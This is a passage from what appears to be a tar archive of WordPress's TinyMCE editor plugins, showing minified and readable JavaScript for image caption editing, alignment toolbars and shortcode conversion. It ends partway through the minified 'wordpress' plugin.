t=this;g.on("NodeChange",function(e){"IMG"===e.element.nodeName&&(e=g.dom.getParent(e.element,".wp-caption")||e.element,"alignnone"===n?t.active(!/\balign(left|center|right)\b/.test(e.className)):t.active(g.dom.hasClass(e,n)))})}})}),g.once("preinit",function(){g.wp&&g.wp._createToolbar&&(r=g.wp._createToolbar(["wp_img_alignleft","wp_img_aligncenter","wp_img_alignright","wp_img_alignnone","wp_img_edit","wp_img_remove"]))}),g.on("wptoolbar",function(e){"IMG"!==e.element.nodeName||i(e.element)||(e.toolbar=r)}),t&&g.on("init",function(){g.on("touchstart",function(e){"IMG"!==e.target.nodeName||o(e.target)||(n=!0)}),g.dom.bind(g.getDoc(),"touchmove",function(){n=!1}),g.on("touchend",function(e){var t;n&&"IMG"===e.target.nodeName&&!o(e.target)?(t=e.target,n=!1,window.setTimeout(function(){g.selection.select(t),g.nodeChanged()},100)):r&&r.hide()})}),g.on("init",function(){var t=g.dom,e=g.getParam("wpeditimage_html5_captions")?"html5-captions":"html4-captions";t.addClass(g.getBody(),e),tinymce.Env.ie&&10<tinymce.Env.ie&&t.bind(g.getBody(),"mscontrolselect",function(e){"IMG"===e.target.nodeName&&t.getParent(e.target,".wp-caption")?g.getBody().focus():"DL"===e.target.nodeName&&t.hasClass(e.target,"wp-caption")&&e.target.focus()})}),g.on("ObjectResized",function(a){var i=a.target;"IMG"===i.nodeName&&g.undoManager.transact(function(){var e,t,n=g.dom;i.className=i.className.replace(/\bsize-[^ ]+/,""),(e=n.getParent(i,".wp-caption"))&&(t=a.width||n.getAttrib(i,"width"))&&(t=parseInt(t,10),g.getParam("wpeditimage_html5_captions")||(t+=10),n.setStyle(e,"width",t+"px"))})}),g.on("pastePostProcess",function(e){g.dom.getParent(g.selection.getNode(),"dd.wp-caption-dd")&&(g.$("img, audio, video, object, embed, iframe, script, style",e.node).remove(),g.$("*",e.node).each(function(e,t){g.dom.isBlock(t)&&(tinymce.trim(t.textContent||t.innerText)?(g.dom.insertAfter(g.dom.create("br"),t),g.dom.remove(t,!0)):g.dom.remove(t))}),g.$("br",e.node).each(function(e,t){t.nextSibling&&"BR"!==t.nextSibling.nodeName&&t.previousSibling&&"BR"!==t.previousSibling.nodeName||g.dom.remove(t)}),c=!0)}),g.on("BeforeExecCommand",function(e){var t,n,a,i=e.command,o=g.dom;if("mceInsertContent"===i||"Indent"===i||"Outdent"===i){if(t=g.selection.getNode(),a=o.getParent(t,"div.mceTemp")){if("mceInsertContent"!==i)return e.preventDefault(),e.stopImmediatePropagation(),!1;c?c=!1:(n=o.create("p"),o.insertAfter(n,a),g.selection.setCursorLocation(n,0),"IMG"===t.nodeName&&g.$(a).remove(),g.nodeChanged())}}else"JustifyLeft"!==i&&"JustifyRight"!==i&&"JustifyCenter"!==i&&"wpAlignNone"!==i||(t=g.selection.getNode(),o="align"+i.slice(7).toLowerCase(),n=g.dom.getParent(t,".wp-caption"),"IMG"!==t.nodeName&&!n)||(a=g.dom.hasClass(t=n||t,o)?" alignnone":" "+o,t.className=l(t.className.replace(/ ?align(left|center|right|none)/g,"")+a),g.nodeChanged(),e.preventDefault(),r&&r.reposition(),g.fire("ExecCommand",{command:i,ui:e.ui,value:e.value}))}),g.on("keydown",function(e){var t,n,a,i=g.selection,o=e.keyCode,r=g.dom,c=tinymce.util.VK;if(o===c.ENTER)t=i.getNode(),(n=r.getParent(t,"div.mceTemp"))&&(r.events.cancel(e),tinymce.each(r.select("dt, dd",n),function(e){r.isEmpty(e)&&r.remove(e)}),a=tinymce.Env.ie&&tinymce.Env.ie<11?"":'<br data-mce-bogus="1" />',a=r.create("p",null,a),"DD"===t.nodeName?r.insertAfter(a,n):n.parentNode.insertBefore(a,n),g.nodeChanged(),i.setCursorLocation(a,0));else if((o===c.DELETE||o===c.BACKSPACE)&&("DIV"===(t=i.getNode()).nodeName&&r.hasClass(t,"mceTemp")?n=t:"IMG"!==t.nodeName&&"DT"!==t.nodeName&&"A"!==t.nodeName||(n=r.getParent(t,"div.mceTemp")),n))return r.events.cancel(e),m(t),!1}),tinymce.Env.gecko&&g.on("undo redo",function(){"IMG"===g.selection.getNode().nodeName&&g.selection.collapse()}),g.wpSetImgCaption=d,g.wpGetImgCaption=s,g.on("beforeGetContent",function(e){"raw"!==e.format&&g.$('img[id="__wp-temp-img-id"]').removeAttr("id")}),g.on("BeforeSetContent",function(e){"raw"!==e.format&&(e.content=g.wpSetImgCaption(e.content))}),g.on("PostProcess",function(e){e.get&&(e.content=g.wpGetImgCaption(e.content))}),g.on("dragstart",function(){var e=g.selection.getNode();"IMG"!==e.nodeName||(a=g.dom.getParent(e,".mceTemp"))||"A"!==e.parentNode.nodeName||h(e.parentNode)||(a=e.parentNode)}),g.on("drop",function(e){var t=g.dom,n=tinymce.dom.RangeUtils.getCaretRangeFromPoint(e.clientX,e.clientY,g.getDoc());n&&t.getParent(n.startContainer,".mceTemp")?e.preventDefault():a&&(e.preventDefault(),g.undoManager.transact(function(){n&&g.selection.setRng(n),g.selection.setNode(a),t.remove(a)})),a=null}),g.wp=g.wp||{},g.wp.isPlaceholder=i,{_do_shcode:d,_get_shcode:s}}); tinymce/plugins/wpeditimage/plugin.js 0000644 00000062052 15111757756 0014054 0 ustar 00 /* global tinymce */ tinymce.PluginManager.add( 'wpeditimage', function( editor ) { var toolbar, serializer, touchOnImage, pasteInCaption, each = tinymce.each, trim = tinymce.trim, iOS = tinymce.Env.iOS; function isPlaceholder( node ) { return !! ( editor.dom.getAttrib( node, 'data-mce-placeholder' ) || editor.dom.getAttrib( node, 'data-mce-object' ) ); } editor.addButton( 'wp_img_remove', { tooltip: 'Remove', icon: 'dashicon dashicons-no', onclick: function() { removeImage( editor.selection.getNode() ); } } ); editor.addButton( 'wp_img_edit', { tooltip: 'Edit|button', // '|button' is not displayed, only used for context. icon: 'dashicon dashicons-edit', onclick: function() { editImage( editor.selection.getNode() ); } } ); each( { alignleft: 'Align left', aligncenter: 'Align center', alignright: 'Align right', alignnone: 'No alignment' }, function( tooltip, name ) { var direction = name.slice( 5 ); editor.addButton( 'wp_img_' + name, { tooltip: tooltip, icon: 'dashicon dashicons-align-' + direction, cmd: 'alignnone' === name ? 'wpAlignNone' : 'Justify' + direction.slice( 0, 1 ).toUpperCase() + direction.slice( 1 ), onPostRender: function() { var self = this; editor.on( 'NodeChange', function( event ) { var node; // Don't bother. if ( event.element.nodeName !== 'IMG' ) { return; } node = editor.dom.getParent( event.element, '.wp-caption' ) || event.element; if ( 'alignnone' === name ) { self.active( ! /\balign(left|center|right)\b/.test( node.className ) ); } else { self.active( editor.dom.hasClass( node, name ) ); } } ); } } ); } ); editor.once( 'preinit', function() { if ( editor.wp && editor.wp._createToolbar ) { toolbar = editor.wp._createToolbar( [ 'wp_img_alignleft', 'wp_img_aligncenter', 'wp_img_alignright', 'wp_img_alignnone', 'wp_img_edit', 'wp_img_remove' ] ); } } ); editor.on( 'wptoolbar', function( event ) { if ( event.element.nodeName === 'IMG' && ! isPlaceholder( event.element ) ) { event.toolbar = toolbar; } } ); function isNonEditable( node ) { var parent = editor.$( node ).parents( '[contenteditable]' ); return parent && parent.attr( 'contenteditable' ) === 'false'; } // Safari on iOS fails to select images in contentEditoble mode on touch. // Select them again. if ( iOS ) { editor.on( 'init', function() { editor.on( 'touchstart', function( event ) { if ( event.target.nodeName === 'IMG' && ! isNonEditable( event.target ) ) { touchOnImage = true; } }); editor.dom.bind( editor.getDoc(), 'touchmove', function() { touchOnImage = false; }); editor.on( 'touchend', function( event ) { if ( touchOnImage && event.target.nodeName === 'IMG' && ! isNonEditable( event.target ) ) { var node = event.target; touchOnImage = false; window.setTimeout( function() { editor.selection.select( node ); editor.nodeChanged(); }, 100 ); } else if ( toolbar ) { toolbar.hide(); } }); }); } function parseShortcode( content ) { return content.replace( /(?:<p>)?\[(?:wp_)?caption([^\]]+)\]([\s\S]+?)\[\/(?:wp_)?caption\](?:<\/p>)?/g, function( a, b, c ) { var id, align, classes, caption, img, width; id = b.match( /id=['"]([^'"]*)['"] ?/ ); if ( id ) { b = b.replace( id[0], '' ); } align = b.match( /align=['"]([^'"]*)['"] ?/ ); if ( align ) { b = b.replace( align[0], '' ); } classes = b.match( /class=['"]([^'"]*)['"] ?/ ); if ( classes ) { b = b.replace( classes[0], '' ); } width = b.match( /width=['"]([0-9]*)['"] ?/ ); if ( width ) { b = b.replace( width[0], '' ); } c = trim( c ); img = c.match( /((?:<a [^>]+>)?<img [^>]+>(?:<\/a>)?)([\s\S]*)/i ); if ( img && img[2] ) { caption = trim( img[2] ); img = trim( img[1] ); } else { // Old captions shortcode style. caption = trim( b ).replace( /caption=['"]/, '' ).replace( /['"]$/, '' ); img = c; } id = ( id && id[1] ) ? id[1].replace( /[<>&]+/g, '' ) : ''; align = ( align && align[1] ) ? align[1] : 'alignnone'; classes = ( classes && classes[1] ) ? ' ' + classes[1].replace( /[<>&]+/g, '' ) : ''; if ( ! width && img ) { width = img.match( /width=['"]([0-9]*)['"]/ ); } if ( width && width[1] ) { width = width[1]; } if ( ! width || ! caption ) { return c; } width = parseInt( width, 10 ); if ( ! editor.getParam( 'wpeditimage_html5_captions' ) ) { width += 10; } return '<div class="mceTemp"><dl id="' + id + '" class="wp-caption ' + align + classes + '" style="width: ' + width + 'px">' + '<dt class="wp-caption-dt">'+ img +'</dt><dd class="wp-caption-dd">'+ caption +'</dd></dl></div>'; }); } function getShortcode( content ) { return content.replace( /(?:<div [^>]+mceTemp[^>]+>)?\s*(<dl [^>]+wp-caption[^>]+>[\s\S]+?<\/dl>)\s*(?:<\/div>)?/g, function( all, dl ) { var out = ''; if ( dl.indexOf('<img ') === -1 || dl.indexOf('</p>') !== -1 ) { // Broken caption. The user managed to drag the image out or type in the wrapper div? // Remove the <dl>, <dd> and <dt> and return the remaining text. return dl.replace( /<d[ldt]( [^>]+)?>/g, '' ).replace( /<\/d[ldt]>/g, '' ); } out = dl.replace( /\s*<dl ([^>]+)>\s*<dt [^>]+>([\s\S]+?)<\/dt>\s*<dd [^>]+>([\s\S]*?)<\/dd>\s*<\/dl>\s*/gi, function( a, b, c, caption ) { var id, classes, align, width; width = c.match( /width="([0-9]*)"/ ); width = ( width && width[1] ) ? width[1] : ''; classes = b.match( /class="([^"]*)"/ ); classes = ( classes && classes[1] ) ? classes[1] : ''; align = classes.match( /align[a-z]+/i ) || 'alignnone'; if ( ! width || ! caption ) { if ( 'alignnone' !== align[0] ) { c = c.replace( /><img/, ' class="' + align[0] + '"><img' ); } return c; } id = b.match( /id="([^"]*)"/ ); id = ( id && id[1] ) ? id[1] : ''; classes = classes.replace( /wp-caption ?|align[a-z]+ ?/gi, '' ); if ( classes ) { classes = ' class="' + classes + '"'; } caption = caption.replace( /\r\n|\r/g, '\n' ).replace( /<[a-zA-Z0-9]+( [^<>]+)?>/g, function( a ) { // No line breaks inside HTML tags. return a.replace( /[\r\n\t]+/, ' ' ); }); // Convert remaining line breaks to <br>. caption = caption.replace( /\s*\n\s*/g, '<br />' ); return '[caption id="' + id + '" align="' + align + '" width="' + width + '"' + classes + ']' + c + ' ' + caption + '[/caption]'; }); if ( out.indexOf('[caption') === -1 ) { // The caption html seems broken, try to find the image that may be wrapped in a link // and may be followed by <p> with the caption text. out = dl.replace( /[\s\S]*?((?:<a [^>]+>)?<img [^>]+>(?:<\/a>)?)(<p>[\s\S]*<\/p>)?[\s\S]*/gi, '<p>$1</p>$2' ); } return out; }); } function extractImageData( imageNode ) { var classes, extraClasses, metadata, captionBlock, caption, link, width, height, captionClassName = [], dom = editor.dom, isIntRegExp = /^\d+$/; // Default attributes. metadata = { attachment_id: false, size: 'custom', caption: '', align: 'none', extraClasses: '', link: false, linkUrl: '', linkClassName: '', linkTargetBlank: false, linkRel: '', title: '' }; metadata.url = dom.getAttrib( imageNode, 'src' ); metadata.alt = dom.getAttrib( imageNode, 'alt' ); metadata.title = dom.getAttrib( imageNode, 'title' ); width = dom.getAttrib( imageNode, 'width' ); height = dom.getAttrib( imageNode, 'height' ); if ( ! isIntRegExp.test( width ) || parseInt( width, 10 ) < 1 ) { width = imageNode.naturalWidth || imageNode.width; } if ( ! isIntRegExp.test( height ) || parseInt( height, 10 ) < 1 ) { height = imageNode.naturalHeight || imageNode.height; } metadata.customWidth = metadata.width = width; metadata.customHeight = metadata.height = height; classes = tinymce.explode( imageNode.className, ' ' ); extraClasses = []; tinymce.each( classes, function( name ) { if ( /^wp-image/.test( name ) ) { metadata.attachment_id = parseInt( name.replace( 'wp-image-', '' ), 10 ); } else if ( /^align/.test( name ) ) { metadata.align = name.replace( 'align', '' ); } else if ( /^size/.test( name ) ) { metadata.size = name.replace( 'size-', '' ); } else { extraClasses.push( name ); } } ); metadata.extraClasses = extraClasses.join( ' ' ); // Extract caption. captionBlock = dom.getParents( imageNode, '.wp-caption' ); if ( captionBlock.length ) { captionBlock = captionBlock[0]; classes = captionBlock.className.split( ' ' ); tinymce.each( classes, function( name ) { if ( /^align/.test( name ) ) { metadata.align = name.replace( 'align', '' ); } else if ( name && name !== 'wp-caption' ) { captionClassName.push( name ); } } ); metadata.captionClassName = captionClassName.join( ' ' ); caption = dom.select( 'dd.wp-caption-dd', captionBlock ); if ( caption.length ) { caption = caption[0]; metadata.caption = editor.serializer.serialize( caption ) .replace( /<br[^>]*>/g, '$&\n' ).replace( /^<p>/, '' ).replace( /<\/p>$/, '' ); } } // Extract linkTo. if ( imageNode.parentNode && imageNode.parentNode.nodeName === 'A' ) { link = imageNode.parentNode; metadata.linkUrl = dom.getAttrib( link, 'href' ); metadata.linkTargetBlank = dom.getAttrib( link, 'target' ) === '_blank' ? true : false; metadata.linkRel = dom.getAttrib( link, 'rel' ); metadata.linkClassName = link.className; } return metadata; } function hasTextContent( node ) { return node && !! ( node.textContent || node.innerText ).replace( /\ufeff/g, '' ); } // Verify HTML in captions. function verifyHTML( caption ) { if ( ! caption || ( caption.indexOf( '<' ) === -1 && caption.indexOf( '>' ) === -1 ) ) { return caption; } if ( ! serializer ) { serializer = new tinymce.html.Serializer( {}, editor.schema ); } return serializer.serialize( editor.parser.parse( caption, { forced_root_block: false } ) ); } function updateImage( $imageNode, imageData ) { var classes, className, node, html, parent, wrap, linkNode, imageNode, captionNode, dd, dl, id, attrs, linkAttrs, width, height, align, $imageNode, srcset, src, dom = editor.dom; if ( ! $imageNode || ! $imageNode.length ) { return; } imageNode = $imageNode[0]; classes = tinymce.explode( imageData.extraClasses, ' ' ); if ( ! classes ) { classes = []; } if ( ! imageData.caption ) { classes.push( 'align' + imageData.align ); } if ( imageData.attachment_id ) { classes.push( 'wp-image-' + imageData.attachment_id ); if ( imageData.size && imageData.size !== 'custom' ) { classes.push( 'size-' + imageData.size ); } } width = imageData.width; height = imageData.height; if ( imageData.size === 'custom' ) { width = imageData.customWidth; height = imageData.customHeight; } attrs = { src: imageData.url, width: width || null, height: height || null, title: imageData.title || null, 'class': classes.join( ' ' ) || null }; dom.setAttribs( imageNode, attrs ); // Preserve empty alt attributes. $imageNode.attr( 'alt', imageData.alt || '' ); linkAttrs = { href: imageData.linkUrl, rel: imageData.linkRel || null, target: imageData.linkTargetBlank ? '_blank': null, 'class': imageData.linkClassName || null }; if ( imageNode.parentNode && imageNode.parentNode.nodeName === 'A' && ! hasTextContent( imageNode.parentNode ) ) { // Update or remove an existing link wrapped around the image. if ( imageData.linkUrl ) { dom.setAttribs( imageNode.parentNode, linkAttrs ); } else { dom.remove( imageNode.parentNode, true ); } } else if ( imageData.linkUrl ) { if ( linkNode = dom.getParent( imageNode, 'a' ) ) { // The image is inside a link together with other nodes, // or is nested in another node, move it out. dom.insertAfter( imageNode, linkNode ); } // Add link wrapped around the image. linkNode = dom.create( 'a', linkAttrs ); imageNode.parentNode.insertBefore( linkNode, imageNode ); linkNode.appendChild( imageNode ); } captionNode = editor.dom.getParent( imageNode, '.mceTemp' ); if ( imageNode.parentNode && imageNode.parentNode.nodeName === 'A' && ! hasTextContent( imageNode.parentNode ) ) { node = imageNode.parentNode; } else { node = imageNode; } if ( imageData.caption ) { imageData.caption = verifyHTML( imageData.caption ); id = imageData.attachment_id ? 'attachment_' + imageData.attachment_id : null; align = 'align' + ( imageData.align || 'none' ); className = 'wp-caption ' + align; if ( imageData.captionClassName ) { className += ' ' + imageData.captionClassName.replace( /[<>&]+/g, '' ); } if ( ! editor.getParam( 'wpeditimage_html5_captions' ) ) { width = parseInt( width, 10 ); width += 10; } if ( captionNode ) { dl = dom.select( 'dl.wp-caption', captionNode ); if ( dl.length ) { dom.setAttribs( dl, { id: id, 'class': className, style: 'width: ' + width + 'px' } ); } dd = dom.select( '.wp-caption-dd', captionNode ); if ( dd.length ) { dom.setHTML( dd[0], imageData.caption ); } } else { id = id ? 'id="'+ id +'" ' : ''; // Should create a new function for generating the caption markup. html = '<dl ' + id + 'class="' + className +'" style="width: '+ width +'px">' + '<dt class="wp-caption-dt"></dt><dd class="wp-caption-dd">'+ imageData.caption +'</dd></dl>'; wrap = dom.create( 'div', { 'class': 'mceTemp' }, html ); if ( parent = dom.getParent( node, 'p' ) ) { parent.parentNode.insertBefore( wrap, parent ); } else { node.parentNode.insertBefore( wrap, node ); } editor.$( wrap ).find( 'dt.wp-caption-dt' ).append( node ); if ( parent && dom.isEmpty( parent ) ) { dom.remove( parent ); } } } else if ( captionNode ) { // Remove the caption wrapper and place the image in new paragraph. parent = dom.create( 'p' ); captionNode.parentNode.insertBefore( parent, captionNode ); parent.appendChild( node ); dom.remove( captionNode ); } $imageNode = editor.$( imageNode ); srcset = $imageNode.attr( 'srcset' ); src = $imageNode.attr( 'src' ); // Remove srcset and sizes if the image file was edited or the image was replaced. if ( srcset && src ) { src = src.replace( /[?#].*/, '' ); if ( srcset.indexOf( src ) === -1 ) { $imageNode.attr( 'srcset', null ).attr( 'sizes', null ); } } if ( wp.media.events ) { wp.media.events.trigger( 'editor:image-update', { editor: editor, metadata: imageData, image: imageNode } ); } editor.nodeChanged(); } function editImage( img ) { var frame, callback, metadata, imageNode; if ( typeof wp === 'undefined' || ! wp.media ) { editor.execCommand( 'mceImage' ); return; } metadata = extractImageData( img ); // Mark the image node so we can select it later. editor.$( img ).attr( 'data-wp-editing', 1 ); // Manipulate the metadata by reference that is fed into the PostImage model used in the media modal. wp.media.events.trigger( 'editor:image-edit', { editor: editor, metadata: metadata, image: img } ); frame = wp.media({ frame: 'image', state: 'image-details', metadata: metadata } ); wp.media.events.trigger( 'editor:frame-create', { frame: frame } ); callback = function( imageData ) { editor.undoManager.transact( function() { updateImage( imageNode, imageData ); } ); frame.detach(); }; frame.state('image-details').on( 'update', callback ); frame.state('replace-image').on( 'replace', callback ); frame.on( 'close', function() { editor.focus(); frame.detach(); /* * `close` fires first... * To be able to update the image node, we need to find it here, * and use it in the callback. */ imageNode = editor.$( 'img[data-wp-editing]' ) imageNode.removeAttr( 'data-wp-editing' ); }); frame.open(); } function removeImage( node ) { var wrap = editor.dom.getParent( node, 'div.mceTemp' ); if ( ! wrap && node.nodeName === 'IMG' ) { wrap = editor.dom.getParent( node, 'a' ); } if ( wrap ) { if ( wrap.nextSibling ) { editor.selection.select( wrap.nextSibling ); } else if ( wrap.previousSibling ) { editor.selection.select( wrap.previousSibling ); } else { editor.selection.select( wrap.parentNode ); } editor.selection.collapse( true ); editor.dom.remove( wrap ); } else { editor.dom.remove( node ); } editor.nodeChanged(); editor.undoManager.add(); } editor.on( 'init', function() { var dom = editor.dom, captionClass = editor.getParam( 'wpeditimage_html5_captions' ) ? 'html5-captions' : 'html4-captions'; dom.addClass( editor.getBody(), captionClass ); // Prevent IE11 from making dl.wp-caption resizable. if ( tinymce.Env.ie && tinymce.Env.ie > 10 ) { // The 'mscontrolselect' event is supported only in IE11+. dom.bind( editor.getBody(), 'mscontrolselect', function( event ) { if ( event.target.nodeName === 'IMG' && dom.getParent( event.target, '.wp-caption' ) ) { // Hide the thick border with resize handles around dl.wp-caption. editor.getBody().focus(); // :( } else if ( event.target.nodeName === 'DL' && dom.hasClass( event.target, 'wp-caption' ) ) { // Trigger the thick border with resize handles... // This will make the caption text editable. event.target.focus(); } }); } }); editor.on( 'ObjectResized', function( event ) { var node = event.target; if ( node.nodeName === 'IMG' ) { editor.undoManager.transact( function() { var parent, width, dom = editor.dom; node.className = node.className.replace( /\bsize-[^ ]+/, '' ); if ( parent = dom.getParent( node, '.wp-caption' ) ) { width = event.width || dom.getAttrib( node, 'width' ); if ( width ) { width = parseInt( width, 10 ); if ( ! editor.getParam( 'wpeditimage_html5_captions' ) ) { width += 10; } dom.setStyle( parent, 'width', width + 'px' ); } } }); } }); editor.on( 'pastePostProcess', function( event ) { // Pasting in a caption node. if ( editor.dom.getParent( editor.selection.getNode(), 'dd.wp-caption-dd' ) ) { // Remove "non-block" elements that should not be in captions. editor.$( 'img, audio, video, object, embed, iframe, script, style', event.node ).remove(); editor.$( '*', event.node ).each( function( i, node ) { if ( editor.dom.isBlock( node ) ) { // Insert <br> where the blocks used to be. Makes it look better after pasting in the caption. if ( tinymce.trim( node.textContent || node.innerText ) ) { editor.dom.insertAfter( editor.dom.create( 'br' ), node ); editor.dom.remove( node, true ); } else { editor.dom.remove( node ); } } }); // Trim <br> tags. editor.$( 'br', event.node ).each( function( i, node ) { if ( ! node.nextSibling || node.nextSibling.nodeName === 'BR' || ! node.previousSibling || node.previousSibling.nodeName === 'BR' ) { editor.dom.remove( node ); } } ); // Pasted HTML is cleaned up for inserting in the caption. pasteInCaption = true; } }); editor.on( 'BeforeExecCommand', function( event ) { var node, p, DL, align, replacement, captionParent, cmd = event.command, dom = editor.dom; if ( cmd === 'mceInsertContent' || cmd === 'Indent' || cmd === 'Outdent' ) { node = editor.selection.getNode(); captionParent = dom.getParent( node, 'div.mceTemp' ); if ( captionParent ) { if ( cmd === 'mceInsertContent' ) { if ( pasteInCaption ) { pasteInCaption = false; /* * We are in the caption element, and in 'paste' context, * and the pasted HTML was cleaned up on 'pastePostProcess' above. * Let it be pasted in the caption. */ return; } /* * The paste is somewhere else in the caption DL element. * Prevent pasting in there as it will break the caption. * Make new paragraph under the caption DL and move the caret there. */ p = dom.create( 'p' ); dom.insertAfter( p, captionParent ); editor.selection.setCursorLocation( p, 0 ); /* * If the image is selected and the user pastes "over" it, * replace both the image and the caption elements with the pasted content. * This matches the behavior when pasting over non-caption images. */ if ( node.nodeName === 'IMG' ) { editor.$( captionParent ).remove(); } editor.nodeChanged(); } else { // Clicking Indent or Outdent while an image with a caption is selected breaks the caption. // See #38313. event.preventDefault(); event.stopImmediatePropagation(); return false; } } } else if ( cmd === 'JustifyLeft' || cmd === 'JustifyRight' || cmd === 'JustifyCenter' || cmd === 'wpAlignNone' ) { node = editor.selection.getNode(); align = 'align' + cmd.slice( 7 ).toLowerCase(); DL = editor.dom.getParent( node, '.wp-caption' ); if ( node.nodeName !== 'IMG' && ! DL ) { return; } node = DL || node; if ( editor.dom.hasClass( node, align ) ) { replacement = ' alignnone'; } else { replacement = ' ' + align; } node.className = trim( node.className.replace( / ?align(left|center|right|none)/g, '' ) + replacement ); editor.nodeChanged(); event.preventDefault(); if ( toolbar ) { toolbar.reposition(); } editor.fire( 'ExecCommand', { command: cmd, ui: event.ui, value: event.value } ); } }); editor.on( 'keydown', function( event ) { var node, wrap, P, spacer, selection = editor.selection, keyCode = event.keyCode, dom = editor.dom, VK = tinymce.util.VK; if ( keyCode === VK.ENTER ) { // When pressing Enter inside a caption move the caret to a new parapraph under it. node = selection.getNode(); wrap = dom.getParent( node, 'div.mceTemp' ); if ( wrap ) { dom.events.cancel( event ); // Doesn't cancel all :( // Remove any extra dt and dd cleated on pressing Enter... tinymce.each( dom.select( 'dt, dd', wrap ), function( element ) { if ( dom.isEmpty( element ) ) { dom.remove( element ); } }); spacer = tinymce.Env.ie && tinymce.Env.ie < 11 ? '' : '<br data-mce-bogus="1" />'; P = dom.create( 'p', null, spacer ); if ( node.nodeName === 'DD' ) { dom.insertAfter( P, wrap ); } else { wrap.parentNode.insertBefore( P, wrap ); } editor.nodeChanged(); selection.setCursorLocation( P, 0 ); } } else if ( keyCode === VK.DELETE || keyCode === VK.BACKSPACE ) { node = selection.getNode(); if ( node.nodeName === 'DIV' && dom.hasClass( node, 'mceTemp' ) ) { wrap = node; } else if ( node.nodeName === 'IMG' || node.nodeName === 'DT' || node.nodeName === 'A' ) { wrap = dom.getParent( node, 'div.mceTemp' ); } if ( wrap ) { dom.events.cancel( event ); removeImage( node ); return false; } } }); /* * After undo/redo FF seems to set the image height very slowly when it is set to 'auto' in the CSS. * This causes image.getBoundingClientRect() to return wrong values and the resize handles are shown in wrong places. * Collapse the selection to remove the resize handles. */ if ( tinymce.Env.gecko ) { editor.on( 'undo redo', function() { if ( editor.selection.getNode().nodeName === 'IMG' ) { editor.selection.collapse(); } }); } editor.wpSetImgCaption = function( content ) { return parseShortcode( content ); }; editor.wpGetImgCaption = function( content ) { return getShortcode( content ); }; editor.on( 'beforeGetContent', function( event ) { if ( event.format !== 'raw' ) { editor.$( 'img[id="__wp-temp-img-id"]' ).removeAttr( 'id' ); } }); editor.on( 'BeforeSetContent', function( event ) { if ( event.format !== 'raw' ) { event.content = editor.wpSetImgCaption( event.content ); } }); editor.on( 'PostProcess', function( event ) { if ( event.get ) { event.content = editor.wpGetImgCaption( event.content ); } }); ( function() { var wrap; editor.on( 'dragstart', function() { var node = editor.selection.getNode(); if ( node.nodeName === 'IMG' ) { wrap = editor.dom.getParent( node, '.mceTemp' ); if ( ! wrap && node.parentNode.nodeName === 'A' && ! hasTextContent( node.parentNode ) ) { wrap = node.parentNode; } } } ); editor.on( 'drop', function( event ) { var dom = editor.dom, rng = tinymce.dom.RangeUtils.getCaretRangeFromPoint( event.clientX, event.clientY, editor.getDoc() ); // Don't allow anything to be dropped in a captioned image. if ( rng && dom.getParent( rng.startContainer, '.mceTemp' ) ) { event.preventDefault(); } else if ( wrap ) { event.preventDefault(); editor.undoManager.transact( function() { if ( rng ) { editor.selection.setRng( rng ); } editor.selection.setNode( wrap ); dom.remove( wrap ); } ); } wrap = null; } ); } )(); // Add to editor.wp. editor.wp = editor.wp || {}; editor.wp.isPlaceholder = isPlaceholder; // Back-compat. return { _do_shcode: parseShortcode, _get_shcode: getShortcode }; }); tinymce/plugins/wordpress/plugin.min.js 0000644 00000040027 15111757756 0014365 0 ustar 00 !function(k){(!k.ui.FloatPanel.zIndex||k.ui.FloatPanel.zIndex<100100)&&(k.ui.FloatPanel.zIndex=100100),k.PluginManager.add("wordpress",function(p){var a,t,E=k.DOM,m=k.each,u=p.editorManager.i18n.translate,i=window.jQuery,o=window.wp,r=o&&o.editor&&o.editor.autop&&p.getParam("wpautop",!0),s=!1;function e(n){var e,t,o=0,i=k.$(".block-library-classic__toolbar");"hide"===n?e=!0:i.length&&!i.hasClass("has-advanced-toolbar")&&(i.addClass("has-advanced-toolbar"),n="show"),(t=p.theme.panel?p.theme.panel.find(".toolbar:not(.menubar)"):t)&&1<t.length&&(!n&&t[1].visible()&&(n="hide"),m(t,function(e,t){0<t&&("hide"===n?(e.hide(),o+=34):(e.show(),o-=34))})),o&&!k.Env.iOS&&p.iframeElement&&p.iframeElement.clientHeight&&50<(i=p.iframeElement.clientHeight+o)&&E.setStyle(p.iframeElement,"height",i),e||("hide"===n?(setUserSetting("hidetb","0"),a&&a.active(!1)):(setUserSetting("hidetb","1"),a&&a.active(!0))),p.fire("wp-toolbar-toggle")}function d(e){var t,o,i,n=p.translate(e);return s||(o="Shift+Alt+",i="Ctrl+",s={},k.Env.mac&&(o="\u2303\u2325",i="\u2318"),p.settings.wp_shortcut_labels&&m(p.settings.wp_shortcut_labels,function(e,t){var n=p.translate(t);e=e.replace("access",o).replace("meta",i),s[t]=e,t!==n&&(s[n]=e)})),s.hasOwnProperty(n)?t=s[n]:s.hasOwnProperty(e)&&(t=s[e]),t?n+" ("+t+")":n}function n(){}return i&&i(document).triggerHandler("tinymce-editor-setup",[p]),p.addButton("wp_adv",{tooltip:"Toolbar Toggle",cmd:"WP_Adv",onPostRender:function(){(a=this).active("1"===getUserSetting("hidetb"))}}),p.on("PostRender",function(){p.getParam("wordpress_adv_hidden",!0)&&"0"===getUserSetting("hidetb","0")?e("hide"):k.$(".block-library-classic__toolbar").addClass("has-advanced-toolbar")}),p.addCommand("WP_Adv",function(){e()}),p.on("focus",function(){window.wpActiveEditor=p.id}),p.on("BeforeSetContent",function(e){var n;e.content&&(-1!==e.content.indexOf("\x3c!--more")&&(n=u("Read more..."),e.content=e.content.replace(/<!--more(.*?)-->/g,function(e,t){return'<img src="'+k.Env.transparentSrc+'" data-wp-more="more" data-wp-more-text="'+t+'" class="wp-more-tag mce-wp-more" alt="'+n+'" data-mce-resize="false" data-mce-placeholder="1" />'})),-1!==e.content.indexOf("\x3c!--nextpage--\x3e")&&(n=u("Page break"),e.content=e.content.replace(/<!--nextpage-->/g,'<img src="'+k.Env.transparentSrc+'" data-wp-more="nextpage" class="wp-more-tag mce-wp-nextpage" alt="'+n+'" data-mce-resize="false" data-mce-placeholder="1" />')),e.load&&"raw"!==e.format&&(e.content=r?o.editor.autop(e.content):e.content.replace(/-->\s+<!--/g,"--\x3e\x3c!--")),-1===e.content.indexOf("<script")&&-1===e.content.indexOf("<style")||(e.content=e.content.replace(/<(script|style)[^>]*>[\s\S]*?<\/\1>/g,function(e,t){return'<img src="'+k.Env.transparentSrc+'" data-wp-preserve="'+encodeURIComponent(e)+'" data-mce-resize="false" data-mce-placeholder="1" class="mce-object mce-object-'+t+'" width="20" height="20" alt="<'+t+'>" />'})))}),p.on("setcontent",function(){p.$("p").each(function(e,t){var 